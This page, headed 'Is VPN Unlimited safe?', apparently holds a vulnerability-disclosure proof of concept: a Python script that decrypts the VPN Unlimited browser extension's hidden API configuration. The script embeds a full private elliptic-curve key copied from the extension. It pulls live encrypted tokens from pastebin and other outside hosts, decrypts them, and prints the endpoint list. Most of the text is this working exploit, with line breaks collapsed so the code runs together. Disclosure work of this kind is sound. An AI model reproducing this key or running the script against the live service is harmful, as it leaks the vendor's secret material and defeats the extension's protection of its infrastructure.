Is VPN Unlimited safe?

#!/usr/bin/env python3"""Reproducer: ECDH-ES private key exposure in VPN UnlimitedExtension: mpcaainmfjjigeicjnlkdfajbioopjkoClaim: 5667Extracts the private key from the extension's keystore config (background.js:72),fetches a live JWE token, and decrypts the API endpoint configuration."""import json, base64, urllib.requestfrom jwcrypto import jwk, jwe# Private key extracted verbatim from background.js:72 keystore JSONPRIVATE_KEY_JWK = {    "kty": "EC",    "kid": "K8jBxmi319Aku0g4HuUgZP_MAwaAag55RGXDU2zvCmg",    "use": "enc",    "alg": "ECDH-ES",    "crv": "P-256",    "x": "07pAqEvfX-sjuUblHeCgXH-tNewws9w1pYmV1TR9w4U",    "y": "y_0fsiV_0FQEy-ZE2pkBJELWXXSBHC1UddMgbW3T2pE",    "d": "rY7OnheR4lS2HbzskChn8XBIZ_qFTpwMgMa0XKT-DMs"}TOKEN_SOURCES = [    "https://pastebin.com/raw/4pV0hjtA",    "https://raw.githubusercontent.com/Dar-Soft/token/master/token.txt",    "https://keeper.do.am/token.txt",]token_raw = Nonefor url in TOKEN_SOURCES:    try:        req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})        with urllib.request.urlopen(req, timeout=10) as r:            token_raw = r.read().decode('utf-8').strip()        print(f"[+] Fetched {len(token_raw)} bytes from {url}")        break    except Exception as e:        print(f"[-] {url}: {e}")if not token_raw:    print("[-] Could not fetch any live token")    exit(1)key = jwk.JWK(**PRIVATE_KEY_JWK)t = jwe.JWE()t.deserialize(token_raw, key)inner_jws = t.payload.decode('utf-8')print("[+] JWE decrypted successfully")# Decode inner JWS payload (signed API config)jws_parts = inner_jws.split('.')payload_b64 = jws_parts[1] + '=' * (4 - len(jws_parts[1]) % 4)api_config = json.loads(base64.urlsafe_b64decode(payload_b64))print(f"[+] API config contains {len(api_config)} entries:")print(json.dumps(api_config, indent=2))